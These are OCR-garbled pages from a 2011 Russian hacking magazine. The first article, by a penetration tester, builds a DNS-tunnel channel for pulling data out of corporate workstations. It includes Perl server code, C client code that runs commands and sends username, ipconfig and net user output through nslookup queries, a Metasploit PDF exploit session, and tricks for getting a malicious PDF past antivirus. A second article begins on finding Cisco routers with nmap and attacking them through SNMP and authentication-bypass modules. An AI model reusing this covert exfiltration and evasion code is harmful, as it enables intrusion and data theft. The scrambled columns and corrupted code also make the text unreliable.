ОБРАТНАЯ СВЯЗЬ

ОБХОДИМl1реграды и организовываем доступ в L;QTb Выполняя заказы на тему социальной инженерии, мне не раз прихо­

дилось сталкиваться с вопросом: как получать отклик с пробитых ма­ шин? В нормальных компаниях зачастую стоит прокси-сервер, и пря­ мой доступ в инет пользователям урезан. Но ведь работу-то надо делать ... Своими наработками на эту тему я и поделюсь. Задача

блокируются чаще всего]. Поэтому самые эффективные аттачи - pdf-

Простейшая задача, которая ставится заказчиком ,

- проверить бди­

тельность своих работников. В российской практике это называется

файлы с эксплоЙтом. А еще эффективнее

- ненавязчивый линк в

теле письма. Переход по линку легко регистрировать, а также можно

«Социальная инженерия + рассылка». Другими словами , выбранной

попытаться эксплуатировать уязвимости. На нашем стен де присут­

группе товарищей, которые ничего не подозревают, рассылаются

ствует простейший

письма. В тексте письма чаще все го и заключается социальна'я инже­

грамм, как

нерия. Задача: заинтересовать читателя и выполнить некое действие

Иногда в случае обнаружения уязвимой версии можно автоматически

-

например , открыть ехе-файл или перейти на вредоносный саЙт.

JavaScript,

котор ый определяет версии таких про­

QuickTime, Ас гоЬа! Reader, Flash Player. Java, VLC Player.

применить эксплойт [подчеркиваю -

иногда , экс плойт не всегда

Все такие случаи должны регистрироваться, а кроме того, необходимо

является хорошим решением]. Так или иначе, последний шаг -

показать заказчику, что это привело к прони кновению в сеть кор п о ­

страция факта проникновения

-

реги­

как пр авило, это результат вы п олне­

рации. То есть надо продемонстрировать эффект проникновения. Мы

ния команд консоли на захваченных рабочих станциях. Но вот тут есть

в

одно « но ». Как управлять данными или получать их с корпоративных

Digital Security уже давно не рассылаем ехе-файлы, так как такой

аттач сильно снижает эффект от социалки

-

за пятнадцать лет все

рабочих станций? Ведь

reverse tcp shell и, тем более, Ьiпd tcp shell не

пользователи персональных компьютеров получили опыт войны с

будут работать. Дело в том, что для организации доступа винтернет

вирусами и расширение .ехе в аттаче письма вызывает негативные

при меняется прокси-сервер. При таком раскладе подход

а с социации даже у домохозяек [не говоря уже о том , ч то такие письма

н е будет работать. Часто эти прокси еще и с аутентификацией.

~

054

reverse tcp

ХАКЕР

04 / 147/ 2011


J ~] VirusTotil · FreeOnliM V...

Jt

~"!P\;:,-,,--

_____

-=-,,-,,,"-_

_ _ _-,-_ _ _ __ _,,,,,

с 1<:;) www.viru~total.com/fi le-scan/rep0r1.html?id=8fb8f8e328e72a710б12аб8768а3беб( -cr ~

+--

= .... _--------- .. -, ~ Язык этой страницы { английский уJхотите перевести ее? ~ ~ t1ВсеАЦЭif1eр-еводу I......Fi1e пате: v8cancy.pdf ... G ----,~

Saft!ty lOCO't!: ·

$ubmission dale: Currenl slahJs: Result

--~.

~~--

--=~-~--~_._

2011 .{12·1514:41:43 (UTC, finished 3 143(1.0%'

-~~ tyJClOf.; .

~ .:м.ш AntМru s

Version

l astUpdate

AhnLab- V3

20 11 . 02.14 . 02

20 11 .0 ~ . 1 4

Ant1Vir

7 .11.3. 89

2011. 02.15

Ant1y- AVL

2.0 . 3 . 7

2011 . 02. 15

AVlIst

4.е . 1 351 . 0

2011.02.14

AVll8t5

5. 0 .677 . 0

2011 . 02. 14

А""

10 . 0 . 0 .1190

2011.02.15

Verslon

l astUpdate

2011.02.14. 0 2

2011 .02.14

7 .11.3.89

2011.02.15

2. 0 .3 . 7

2011.0 2.15

4. 8 . 1351. 0

2011 . 02.14

PDF:R.1sJl: -А

5. 0 . 677 . 0

2011.02.14

POF:Risk -А

10 .0 . 0 . 1190

2011. 02.15

7 .2

2011 . 02.15

11.00

2011. 02.15

0 .96.4.0

2011 .02.15

5.2.11.5

2011.02.15

7 696

2011.02.15

Dr;"'~b

5.0. 2 .03300

2011 . 02.15

DriI~tI

5. 0 .2.03300

2011.02.15

Em 1зоt !:

5 . 1 .0 . 2

2011 . 02. 15

E::<.31I1o tt

5.1. 0 .2

2011.02 .15

eSate

7. 0. 17.0

2011 . 02.14

e5ate

7. 0. 17 .0

2011 . 02.14

e l rus!:-Ve!;

36 .1.8160

2011 . 02.1 5

elrust-V~ t

36.1. ! 160

2011. 02.15

f-Pro!;

4 .6 . 2 . 11 7

2011 . 02.15

F-Prot

4. 6.2.117

2011 . 02.15

f-5e cur~

9. 0. 16160 .0

2011 . 02.15

f-Sec-ure

9 . 0 .16160.0

2011. 0 2.15

Fort1n~t

4.2.254. 0

2011 . 02 . 15

fort1ne t

4 . 2.254 . 0

2011. 02 . 15

GData

21

2011. 02 .15

Result

txplo1t . por- DrоРРН.~П

!!eur1st1ts . PDr. Ob!ulceted.lle=eOb)ett

Exp101t. PDr-Drор~r .~n

Blt De!end.er

7 .2

2011 . 02.15

CAI ~1сlt:Неа1

11.00

2011.02.15

CIUlAV

0 .96 . 4 . 0

2011 . 02.15

Cotмttouch

5.2.11.5

2011 . 02 . 15

ColroOdo

7696

2011. 02 . 15

· !т

Социальный

PDF сильно детектируем

_. ~. ~ ~D::R1SJr-А PDf : R1sL-~

PDf : R.1sk"-А

! ,

G

Играемся с обфускацией

Прокси-сервер

котором п однят DNS-сервис. Д аже те счастливчики , для ко торых

Самое пр остое решение

жестко п орезан с п исок досту пн ых р есурсов или которым интернет

- использование пр окс и -сервера .

Напр имер, если в настройках OC/IE прописаны настройки соеди­

вообще за пр ещен корпора тив ной религией, мо гут уз н ать IP-аАрес

нения, то использование СОМ - объекта

любого домена. Это утвержде н ие п очт и [по д черкиваю -

IE

или

XML HTTP

позволит

почти)

выполня ть GЕТ/РОSТ-запросы на сервер пентестера и таким обра­

всегда исти нно, так как нет никаких за пр ещающих прави л н а

зом осуществлять контро л ь над « ботом». Данный метод хорош. но

то, какие имена могут « резолви т ь » кл и енты в л окальной сетке.

он не работает, есл и :

Но для ор гани зации кана л а э то го достаточно. Ведь

xxxx.abcd.ru

создан на с т ороне корпо р ативного кл и ента и, в ко н еч н ом с ч ете ,

Не пропи са ны настро йки пр окси -с ервера;

п о цепочке п о п адает через Се ть к ха цкер у. П ри этом «хххх» могут

про кси-сервер ре ж ет соединения на л е вые хос ты

бы т ь вполне конфиденциальными данными. Более того,

DNS

хакера вер н ет от вет, который так же через ц епочку дойдет до

(белы й лист); п оль зователю досту пна только п очта, ему вообще н икак

рабочей стан ци и в л ока лк е «без инета». Ответом будет с пи сок IP-аАресов, которые могут быть ин терп р етирова н ы приним ающей

в и н ет н е поп асть.

сторо н ой как ко манды для бота . Фактически, это хороший с п особ

у п равлен и я ботам и

В этих случаях н ужно искать другой путь.

:!.

Пл юсы налицо:

DNS Так как задача не нова, то и решение давно уже известно . Ответ

Боту не нужен до с ту п к интернету;

пр ост -

DNS-запросы редко фильтруются (В отличие от НТТР);

дупл ексная связь.

используй DNS. Маневр в том, что пентестер [и ли злоу­

мышленник, или еще какой кулхацкер) покупает себе домен [от

400 до 800 рублей l , поднимает « свой» DNS-сервак и прописывает его как «ответственного» за данный домен. Делается это доволь­

Минусы также о ч евидны:

но просто. Купив домен, надо отметить NS-записи у регистратора,

указав свой IP-аАрес [в н еш ни ЙI. Н а этом адресе повесить свой

Ограничения п о размеру п аке та ;

DN S- с ервак и настроить его так, что бы он отвечал на SOA, А,

п аке ты идут медленно ( н а практике от

АААА , CNAME и NS/DNS-запросы. А они пойдут от различных кор­

не все байты можно п ередавать

невых серваков. Часов за

7-8 интернет пр ознае т пр о твой домен

и про то, ч то на IP-аАресе висит сервак

DNS, который за н его и

отвечает. Какой физический смысл у данной системы? А такой: допустим , ты купил домен

1 до 3 секунд);

DNS - запросом .

abcdru,

а некий индивидуум попытался

Как видишь, мин усы ответственны за увеличе ни е объема

DNS-

запросов и п адение скорости п ередачи данных. Кроме того, эти факторы приводят к вопросам синхро ни зации данных при пере­

определить I P-а Ар ес для porno.abcd .ru. При таком раскладе · DNS­

даче, так как бывает, что п ервый за пр ос может п рийт и только уже

сервак нашего инд ивидуума , который прописан как основ н ой,

п осле то го, как п ришел третий.

попытается п онять, что это за домен. В результате он узри т, что за

домен

abcd.ru отвечаешь т ы, и п ошлет свой DNS-запрос н а тему

Баян

detected!

« Кто есть po r no.abcd.ru » [А-запись и АААА-запись для IPv6). Тв ой

Как я уже говорил , все , о чем написано в это й статье , не ново

DNS-сервак прошерстит записи зо н ы и ответит, что тако го имени

идеи витают в воздухе уже много лет. Н о вот практических нарабо­

у него н ет, либо возвратит один или более I P-аАресов, которые

ток [ в п аб л ике) было мало. В про ш лом году Рон Боус реализовал

потом вернутся клиенту ч ерез е го DNS-сервер. В контексте нашей

dпsсаt

задачи это п о чти идеальное реше ни е. В л юбой ком п а ни и, у вин­

за п росах. Кроме того , он написал ш елл-код , который туннелирует

- эти

- тулзу, которая п озволяет ту нн ел ир овать трафик в DN S-

довых клие нтов/ п ользовате л ей/офисных сотрудников п о ч ти всег­

консоль у пра вления , ис п ользуя DNS-запросы т ипа ТХТ [в н их можно

да прописан л окаль н ый

больше впихнуть в рамках одного запроса l . Все это круто, но на

ХАКЕР 04 / 147 /2 011

DNS. Обыч н о это контроллер домена, на

~

055


PROXY

---

••

Примерная схема рабоТbI реверсивного бота практ и ке м н е н е удалось прим ен ит ь эти тулзы п о следующим п ри ­

соnюlе

inter. ction window

ч ин ам:

11

• dnscat

не стабилен

от любого "левого" UDР-пакетика

-

падает;

-

чуть больше lIзее байт, не влезает

В ходе массовых рассылок мне интерактивный шелл

тельств проникновения;

winsock2,

что

в ряде слу ч аев может вызвать проблемы (например,

UAC

+ -- __ а ( 645 explo1t:8 - 329 ,uxilia:y + -- __ а( 218 p.yloll1s - 21 еnСod.е:, - е пор, -1 :11744 Upd.lted 4 dlY8 '90 (2011 .02.111

.vn

> u,e explolt./ Yl0!10'lls/ fil e!or:n&t./ 8dobe_cooltype_.ioq еlфlоlt 18dobe_cooltype_ ,in;) > "ее PAYLOAD wlаdov./ФlSСItot: PA'fLOAD -> tlindow' / dn. cl1: IIUIt ежрlОlt(ldоЬе_СООlЧ'J)e_,iпq ) ) "ес fILtNAI',[ dn8c.t.JXI! п LtltA....z -> dnsc.t.pdf ~! exploit (ldcbe_cooltype_8ing ) > зеt 00"''>'11/ М. r-u OOy.AIII-> . . . . r-u 1t!3! ехрlоit( ldоЬе_сооlt уре_зing l > зеt OtrIPtrIPATH 0: 1 otЛРutFАТН _> о: 1 utex E:xploit !Iilld: 1/0 encode::.s e:'lcodeo the bu!!e:: зuссезз!u~

ILS!

шелл-код создает сокет и работает с

среагирует на исходящий коннект в

Windows 7) .

Поэтому было принято решение разработать пеЙлоад. который не

'-' I

" '-'

в некоторые зксплойты;

не нужен, мне нужен автоматизированный сбор до к аза­

I t

11 _ _ _ _ _ _ ' 1 _ _ 11 _ l ' \1 11 _ \1 1 \ ,_, I I СI I I '_ " _ , _,_ 1_ 1 . _ /1 _ 1\_ 11 _ 1'_1

I I I t 1_ 1'_

шелл - код огромен

_

l ' . \ 1 _ \ _ , _. / I I I I I I _ , 11 ,_, \ _

ехрlоit ( .clо.De_соо1Ч"ре_,iпq )

In!!

iCiI:

обладал бы данными недостатками .

Сервер

JI ....., 1

Так как хотелось бы передавать запросы без использования соке­ тов, то самое простое

-

это внедрять данные в поДДомене, как

было описано в примерах выше. 3то, конечно, увеличит количество

Метасnлойт отвергает шелл-код ДЛЯ выбранного экс­ плойта

запросов, но так как для моих задач мне не требуется передача и и н те ра ктив н ость , то это н есу ществе н но. И так , серве р было ре ш ено

sub reply_handler

п и сать на

{

модуль

perl , та к

как я его люблю, и так как в срап есть хороший

Net::ONS. Установив его, можно клепать свои серваки с

собственной логикой отдава т ь команды

:1.

в моем простейшем варианте не нужно

ту

($qname, $qclass, $qtype, $peerhost,$query,$conn) = @_;

ту

($rcode, @ans, @auth, @add);

- тол ько собирать ло г и фактов проникновения, #

поэтому ко д доста т очно п р ост.

запрашивают

if ($qtype eq #!/usr/bin/perl

&& $qname eq $DOМAIN )

{ ту

($ttl, $rdata) =

( 3бее , $SIТEIP);

push @ans, Net: : DNS: : RR - >new(

use Net : : DNS: : Nameserver;

"$qname $ttl $qclass $qtype $rdata");

use strict;

$rcode = "NOERROR" ;

use warnings; $DOМAIN= ·'abcd.ru" ;

abcd. ru "А"

#

домен

$MYIP= " 123.123.123.123" ; # $SITEIP= "1.2.3.4" ; #

ответ

наш внешний адрес

} elsif (($qtype eq

"А"

)&& $qname =- / (. * ) \' $DOМAIN!)

{

$rcode = "NOERROR" ; #

~

обработчик запросов

056

ту

($ttl, $rdata) '" ( 1,

$SIТEIP);

ХАКЕР

04/ 147/ 2011


dnscat в

процессе работы

push @ans, Net : : DNS: :RR- >new( "$qname $ttl $qclass $qtype $rdata" ); pr int "Received query ($qname ) ($qtype) from $peerhost to "

Как видишь. имя до точки содержит закодированные данные. Кодировать я стал так же, как и в с лучае с адресами в с в ое м

SPRAY

обработаем данные

и млад ший, после че го добавляем эти значе н ия к константе Ох61,

Разбиваем байт да нн ых н а два значе ния -

#

JIT-

шелл-коде, и абсолютно так же , как до этого додума л ся Ран .

. $conn- >{ "sockhost" }. " \ п " ;

что означает

символ ' а'. Др уги ми словами, нам надо пере­

$req=$ l ; #

ту

$len= length($req);

дать символы \г\ п - \хО А\хОD , разбиваем их на младший и старшие

ту

$answ= '''' ;

регистры:

-

данн ые

ASCII

ту

#

подцомен

старший разря д п о Н ЕХ

перебираем данные и декодиру е м

» 4=

for (my $i=8; $i<$len; $i+=2)

0х0А

{

0x0A&0x0F = #

0 хА

старший разряд

ту

#

0х0

$bh =(ord(substr($req,$i, 1))- 0x61 ) « 4;

младший разряд

ту $Ы ту

0х0О

» 4=

0х0

0x0D&0x0F =

0хО

= ord(substr($req, ( $i+1), 1))- 0x61 ;

$bt = chr( $bh +

$Ы);

#

декодированый байт

Затем складываем с ' а':

$answ . = $bt ;

#

0 х бl

+

0х0

=

0 х 61

-

0хбl

+

0 хА

=

0 х 6В

- 'k'

'а'

0хбl

+

0х0

=

0 х бl

-

'а'

0х бl

+

0 хО

=

0 х 6Е

-

'п'

п и шем в лог

ореп

(LOG, "»DATA.log" );

print LOG "[$peerhost][$qname ][$answ] \ п " ; close (LOG);

Таким образом непередаваемая последовательность «\г\п» пре­ вращается в «аkап». Соответст ве нн о, сервер декод и р ует п о тому же п р и н ципу, вы ч итает Ох6 1 , д елае т с д в иг н а

} elsif ( $qname eq

$DOМAIN

4 би та

и скла д ывает.

Клиент

)

Клиентская нагрузка -

{

самая важная часть , которая была написана

на скорую руку на Си:

$rcode = "NOERROR" ; }

else

#include <windows. h>

{

$rcode =

} #

"NXDOМAIN" ;

int _tmain( int argc, _TCHAR * argv[])

{ даем

100% ответ

как владельцы домена

.. .

FILE * fpipe;

return ($rcode, \ @ans, \ @auth, \ @add, { аа => 1 }) ;

#

инициализируем обработчик

ту

$ns = Net: : DNS: : Nameserver- >new( LocalPort

=> 53 ,

эти х данны х мне достаточно для доказательства

//

проникновения

char * command = "cmd / с echo %username% & ipconfig & net user" ; char * domain = " . abcd. ru. " ; / /

Verbose

char

Го - го-го!

$ns- >main_loop; ХАКЕР

прошиваем команду

ReplyHandler => \ &reply_handler, => 0,

11 die "couldn' t create nameserver object \ n" ;

#

// //

04 / 14 7 / 20 1 1

Нпе [ 1556 ];

//

домен

максимальный объем

char subdns [ 150 ] = "nslookup " ; //

нам не нужны сокеты

-

это палево

HWND hWnd = GetConsoleWindow();

~

057


Adobe CoolType SING ТаЫе "uniqueName- Stack Buffer Overflow windows/fileformaVadobe_cooltype_sing

l=If'@JJ~ А

meterpreter messagebox

Ш" ,

,. . . .

... .

,

ехес

:..... .

download_exec

i....·•

dnscat

~

ф. .Jl dllinject !..... .

.~

~

Required rСНО Command to execute (гesult wiП ье sent via DNS) lecho %useгname% & ipconfig & net useг FIlENAHEТne

I 1=

l'

file name.

I

IsplOit.pdf

'--

OOHAIN Тne domain name to use (9 bytes - maximum)

lаЬсфu

I

OUTPUTPATH Тne location of the file.

Id:/

!

I

Run exploit

Run in Console

11

...

1 ~

Пейлоад ДЛЯ

..-.о<

-

--

Metasploit

ShowWindow( hWnd,

SW_НIDE

); / /

надо быть невиди мым

else {

fpipe = (FILE *)_popen(command, "r" ); / / выполняем команду int sz=fread (Нпе, 1, 1555 , fpipe) ; / /

subdns[z)=

8х б1

читаем результат

/ / собираем результат кодировки subdns[z+l )= 8 х б1 + lb ;

line[sz)=8; _pclose(fpipe); //4

}

short i=8; short next= l ;

/ / добавляем домен for ( int у= 8 ;у < 9 ;у++)

/ / кодируем по 28 байт на запрос и / / будет 55 DNS - запросов максимум do { short с = 8 ; short z = 11;

+ hb;

}

suЬdпs[z+у)=dоmаiп[у);

шлем

subdns[ 9 ) = 8хб1 +(пехt » 4 ); subdns[ 18 ) = 8хб1 +(пе хt&8х8F ); for (;i< 1555 ,c<28;i++,z+=2,c++) { / /кодируем байт

}

subdns[z+y ) =8; / / выполняем "пslоо kuр ххххххххххх. ххххх . abcd . ru" / / этим самым вы полняем п ередачу дан ных / / без пал ева fpipe = (FILЕ*)_рореп(suЬdпs, " r " ); // 1 _pclose(fpipe); // 4 next++;

if (liпе[i)==8 х88 )

{ suЬdпs[z)=8 ;пехt=- 1 ; Ьrеаk ;

char char

hЬ=liпе[i»

} while (пехt); return 8 ;

>4 ;

lЬ=liпе[i)&8 х8F ;

Д а нный бинарник был перешит в JАVА-апплет и засу н ут в

PDF.

Таким об ра зом . если пользователь п ереходит на наш сай т по

/ /работаем if (hb <8x8 )

с DОS - кодировкой русских символов

ляется

subdns[z)=

~

058

JAVA

и запускает

апплет с д анным «экзешником» . Если дополнительно опреде­

{

}

линку из письма. система определяет у него

8 х б1

+(hb&8x8F );

Adobe АсгоЬа! Reader < 9.3.3 , то суется pdf-фаЙл. В PDF

используется УS13 вим ость запуска аттача в Foxit/Acгobat Reader, обнаруженная Дидь е Стивенсом прошлым летом, о чем я пи сал

ХАКЕР

04/147/201 1


[15/02/2011 17:31:01] [74.125.86.84] [eaeoeaeoeaeoeaeoeadkeajboakfkekaeakpkfoakfke kaohkieaknkfkeko. { · ~ ~ ru] [ 111. среда передачи недо] [15/02/2011 17:31:01] [80.70.224.2] [ebgmgfhigfgkeaakakinkaoboeoakokjkkkaeakpoakoo ekokkkoklkaeaej. '_" ru] [ lA! 1 1 1i e x ej -ойка

протокола

Имя пользователя

1]

[15/02/2011 17:31:02] [80.70.224.2] [eofdenobodoeoekikkobeakpkokekkklooohkfknkiope аеоеаеоеаеоеаео :' .~ '::': ~. ru] [N 1 1 1S-еуффике подключения .] ] [15/02/2011 ,. 17:31:02] [80.70.2~4.2] [оЬеое аеоеае оеаеоеаеоеаеоеаеоеаеоеаеоеаеоеаеое aeoeadkeadbdhde -, : ." ~ .ru] [elll. 172 ] [15/02/2011 17:31:02] [80.70.224.2] [eodbdgeodaeodbdbddakeaeaeaimkaobkkkaeakpkokeo bkfoekieaeoeaeo . :' '. ,:- . ru] [. 1 1 11 6 . 0 .11 3 ека

.]

подеети

~ Локальный адрес

Относительно читабельные логи, зато с поддержкой русского языка

:)

тогда в обзоре. Суть уязвимости в том , что пользователю с

около

АсгоЬа! Reader < 9.3.3 выводится произвольное сообщение,

антивируса, на гейтвее и на рабочих ста нциях,

мотивирующее к нажатию кнопки «Открыть». Если пользователь

неплохоЙ. Кроме того, был получен ре зультат от нескольких поль­

нажмет-таки этот кнопарь, то выполнятся несколько команд,

зователей без интернета, которые располагали только доступом к

прошитых в PDF, которые создадут VВS-скрипт [типа «- cmd \с

почте . Все это гово рит о том, чт о DNS-протокол как канал связи

echo code

>

script & echo code » script»l, после чего запустят

его. Скрипт, в свою очередь , откроет рdf-файл, вытащит оттуда

50%. Учитывая, что тестируемая компания использует два -

показатель

может быть легко и без проблем использован злоумышленниками. И с пециалистам по ИБ в банках , корпорациях, промышленности,

би н арные данные вышеуказанного екзешника и ис п олнит его.

госструктурах нужно мыслить шир е, а не пр осто инт егр ироват ь

Для созда н ия такого

доро гой хлам , DLР-системы [интересно, с л едят они за DN S?I и

PDF можно вос п ользоваться метсасплой­

том, модуль windows/f i lefor~at/adobe_pdf_embedded_exe_nojs.

обрезать интерне т для сотрудников. Это н е панац ея

Соответственно, выби р аем любой пейлоад, а потом в готовом

трата денег компании.

- это пустая

файле заменим тело экзешника пейлоада из метасплойта на

Но я отвлекся. Несмотря на то, что эксплойтами я не пользовал­

тело нашего экзешника. Созданный jа vа-ап плет не детектит

ся, задача с делать нормальный пейл оад осталась. Во-первы х ,

ни один антивирус, зато

PDF'KY детектит аж восемь штук. Оно

мало ли, вдруг появится хороший Одей ? Во-вторых, не у всех

и понятно, я вообще не очень люблю использовать эксплойты

есть антивирь , и

на таких работах, так как они хорошо палятся корпоративны-

PDF с нормальным сплой т ом, а не с автозапуском с дополни­

ми антивирями по сигнатурам атак, хип-спрею, используемым

тельным вопросом, то вероятность пробива может быть выше [не

в конечном счете , если

пользователь откроет

адресам и так далее. Э т о все, конечно, можно обой ти, но долго и

нужно надеяться на решение пользователя в вопросе запуска

дорого, так что проще использовать социальные методы +

аттача АсгоЬа! Reader'oMI. Ввиду отсутствия времени шелл-код

java-

был н а пи сан в кратчайшие срок и и выпол нен в роли модуля для

апплет.

Небольшие ковыряния позволили вычеркнуть семь ан ти ви­

метасплойт [лежит на дискеl. Из плюсов отмечу то, что он на

русов, и в итоге мой рdf-файл детектил только движок

шестьсот байтов меньше, чем у Рона, и поэтому охотно встраи­

Avast.

Самое забавное, что часть ан т ивирусов отрубилась отклю­

вается в те эксплойты, в которые творение Рона лезть не захо т е­

чением обфускации в тегах

ло. Шелл-код работает в

PDF. Метасплойт по умолчанию

Windows 7 также без соке т ов, что озна­

обфусцирует рандомные участки тегов, но антивирусы считают,

чает -

что такая обфускация подозрительна. Так что , убрав излишки

черные окошкиl. Ну и опять же, для моих задач интерактивность

ма ск ировки, часть антивирусов мы успокоим. Другие антивирусы

не нужна , поэтом у смысл у него такой же, как и у экзешника

реагировали на код VВS - скрипта в теле

[алгоритм такой же, все делаем через _popenl. Еще замечание -

PDF, что, наоборот, обо­

UAC будет молчать. Из минусов - он заметен [мигают

шлось обфускациеЙ. Так как код вносится через СМD, то можно

не стоит делать из данного шелл -ко да EXE!VBS или JAVA, так как

спокойно ставить символ 'Л' перед любыми АSС II -символ ами:

он н е и с пользует

вроде для

гр уже нн ую библиотеку

cmd.exe

строка н е изменилась, зато антивирус-

ны е си г натуры в обломе, так как для них Л

Л

«WScript.Shell»

не

равно «WSс гi рt.5 hеll». Кроме того, есть еще конкатенация:

«WScrip t.Shel l »

Л

не равно

«WScri»&»pt.5h»&»ell».

Обновленный

модуль для особо интересующи хся я выложил на диске.

LoadLibra r y, а ищет в с пи ске модулей уже под­ msvctl.dll. Она ес т ь во всех мало-мальски

дост ой н ых приложениях, и п оэтому шелл - код стабиль н о раб о­ тает, но при генерации бинарника из метасплойт этот модуль

не подгружается. В любом случае, се йчас я работаю над более у ниверсальным DNS-рауlоаd'ом, который будет лишен указанных

Конечно, многие антивирусы могут ловить сие зло в процессе,

недостатков,

не по сигнатурам , но все же пробив связки

уже будет досту пен на d secгg.com

ХАКЕР

04/147/2011

JAVA + PDF

оказался

и возможно, что к моменту выхода номера в свет он

:1. I ~

059


• •

М ирослав Б ерков

la Lumn i. sa marafag ma iL .co ml

Кошачьи игры НОВЫЙ ПОДХОД К ана.f1ИЗУ безопасн

маршрутизаторов (;ISC(f

Сегодня маршрутизаторы производства Cisco 5ystems лежат в основе всемирной паутины. Они достаточно часто встречаются в ходе проведения работ по тестированию на проникновение, причем с привилегированным доступом ievei 15, что позволяет использовать их для дальнейшего развития атак на корпоративные сети и платеж­ ные системы. Да, слабые места в Cisco 105 присутствуют, как и в лю­ бом другом ПО, но лишь немногие специалисты умеют пользоваться недостатками самого 105, используя Remote Buffer Overflow... «Кис-кие-кис»I или как Оt)наружить кошку в Сети Для начала проанализируем общее состояние дел с безопасностью

Cisco 105.

Сканеры уязвимастей делают большую работу по выявле­

нию устаревших версий

105. Это хорошо работает для определения,

51Р и Н.323, но для получения удаленного доступа к маршрутизатору следует тестировать преимуще стве нно первые пять служб. Первая служба, которую я хочу обсудить, это

5NMP. Как ни странно,

5NMP часто оставляют без присмотра на большом числе маршру­ ти заторов. Причиной этого может быть общее непонимание того,

пропатчено устройство или нет, но нисколько н е помогает тести ров­

чем

щику, который не имеет за плечами большо го опыта исследований

Protocol предоставляет широкий спектр информации в большом

Cisco 105.

За редкими исключениями, остается небольшое количе­

5NMP

является на само м деле.

5 imple Network Management

наборе систем в стандартном формате. Независимо от того, кто

ство служб, которые обычно используются во внутри корпоративной

пр оизводи т ель вашего коммутатора или маршрутизатора, почти

сети компании, и доступ к ним из общей Сети, как правило, запре ­

любой клиент 5N МР-м онитори нга программнога обес п ечения будет

щен. Например, это могут быть

работать с этим устройством , при условии , что

5NMP, Telnet, 55Н, НТТР и HHPS. Но

на практике найти кошку в мутной воде всемирной паутины с откры­

5NM P включен и

настроен .

тыми портами во внешний мир на се годняшний день до стато чно

Мн о гие сетевые администраторы не понимают, что

легко. Ты также можешь найти за п ущенную службу Fiпgег. обеспечи­

ставляет сли ш ком широкий спектр информации о работающем

вающую взаимодействие служб мультимедиа протоколов, таких как

устройстве, а записи сооб ществ

~

060

5NMP предо­

SNMP могут быть использованы Х АКЕР

04/147/201 1


....-

SNMP Communlty Scanner ~UaI\ SцnrorSt-t.'PdevicelusiQg(CII'МIOI:I~names

Rdcrences: CV!: I РР9·OЯII

• -

Рис.

1 Настраиваем SNMP Community Scanner

Рис.

2 Выбираем

',

конфиг

для получения полного контроля над этим устройством. В случае с

Киска лакает молоко

Cisco 105 записываемые сообщества 5NMP могут быть использо­

И спрашивается, что нам с этой байдой делать дальше? А вот

ваны для выгрузки или за грузки и запуска альтернативной конфи­

что

гурации устройства, либо изменения его текущей конфигурации.

ципе, есть два варианта использования: можно пользоваться

-

натравливаем на найденную киску

Metasploit.

В прин­

Маршрутизатор с включенной службой Теlпеt и с тривиальным

Metasploit Framework,

а можно использовать автоматический

пар о л ем может быть у гнан почти мгновенно через за пи си сообще­

анализатор

Рго. Для старых версий операционной

ства

системы

5 NMP.

Я обычно и щу кошки при помощи

5NMP

и старого

Metasploit

Cisco 105 известно несколько уязвимостей НТТР. Д ве

доброго ска нера пmар. Д а-да, именно с помощью н его Тринити

из них, о которых сейчас пойдет речь, о тн осятся к уязвимос тям

взломала во второй серии Матрицы сеть электростанции, и именно

типа «Обход аутентификации». П ервая уязвимость

его так любят использовать в АНБ. В дистрибутив пmар включены

0945 относится к отсутствию проверки подлинности в Iпtегfасе

два интересных сценария для работы с

Мапаgег

5NMP - это 5NMP-sysdescr.

CVE-2000-

Cisco 105 устройств. Этот баг позволяет не прошедшим

nse и snmp-brute.nse. Для удобства использования я немного

проверку подлинности получить привилегированный досту п к

изменил первый таким образом, чтобы пол учен ный отклик с опи­

ус трой с тву с

санием устройства сразу сохранялся в файле

CVE-02001-0537 позволяет обойти проверку подлинности, ука­

сценарий, конечно же, ищи на нашем

ip_wi th_s nmp.txt. Сам

DVD. Итак, а что же мы будем

Cisco 105 через веб-интерфеЙ с. Вторая уязвимость

зав уровень проверки подлинности выше, чем

« 15» в запросе

сканировать? Например , можно пр осканировать своего провайдера,

НТТР. Это также предо ставляет привилегированный доступ к

предварительно узнав все при надлежащие ему I Р-префиксы, про­

устройству через веб-интерфеЙс. С открытым исходным кодом

сто зайдя по адресу

Metasploit Framework

ла

bgp .he .net

и скоп иро вав все циферки из разде­

Prefixes v4 в файл my_telecom.txt. Командная строка для запуска

в настоящее время обеспечивает оба

модуля для экс пл уа тации этих уязвимостей:

пmар будет выглядеть следующим образом:

nmap -sU -п - Р8 -v telecom . t xt

161 - -script=snmp -sys. nse - i L my_

1 . /a uxiliary/s canner/ http / cisco_device_manager 2. / au xiliary /sc anner/ http/ cisco_ios_auth_bypass Meta sp loit Express и Metasploit Рго автоматически распознают Cisco

-sU -

ведь правда, что служба

5NMP работает по UDP протоколу,

105 НТТР-службу во время сканирования.

поэтому мы и задействуем только UDР-сканирование;

Проверь эти два недостатка и используй их для получения доступа к

рабочей конфигурации устройства.

161 - через 161-й порт; -v - это я хочу видеть хо д процесса на экране; -п - не определять име н а DN5 дЛ Я найденных хостов l и вправду,

устройства также могут быть найден ы п утем перебора с исполь­

сейчас они мне совер шенно ни к чем уl;

зова ни ем службы Н ТТ Р. Проток ол НТТР является довольно

-ре

-

быстрым п о подбору пароля по сравнению с медленными

не пинговать хосты в процессе сканирования.

Я обычно пользуюсь консольной версией, потому как

В дополнение к э тим двум известным уязвимостям , пароли

GUI-

терминальными службами Те lп еt и 55Н.

Metasploit Express

и

интерфейс к ней нещадно зависает при таких объемах сканиро­

Metasploit

Р го автоматически скопируют рабочую конфигурацию

вания. Просто создай .bat-фаЙл в каталоге, где лежит пmар с этой

устройства после успешного подбора пароля к службе НТТР

командной строкой, и запусти его.

ус тройства

Все эти опции заметно убыстряют процесс предварительного ска­

'равно как и сканер пmар в комплекте со сценарием sпmр­

Cisco 105. Metasploit

Рго и

Metasploit Framework

нирования .

brute .nsel включают в себя модуль 5NMP brute force tool, напи­

Итак, в результате мы получим что-то вроде этого:

санный в качестве вспомогательного модуля, который может использовать словарь общих паролей для идентификации дей­

172 , 154.18.34 Cisco IOS Software, c7688rsp72843_ rp Software (c7688rsp72843_rp-ADVIPSERVICESK9-M), Version 12 .2 (33)SRD2, RELEASE SOFTWARE (fc2) Technical Support: http: //www.ci s co . com/ techsupport Copyright (с) 1986- 2889 Ьу Cisco Systems, Inc. Compiled Wed 28-Мау-89 2 System uptime: 117 days, 7 : 11 :43 . 12 (1813478312 timetick s) ХАКЕР

04 / 147/ 20 1 1

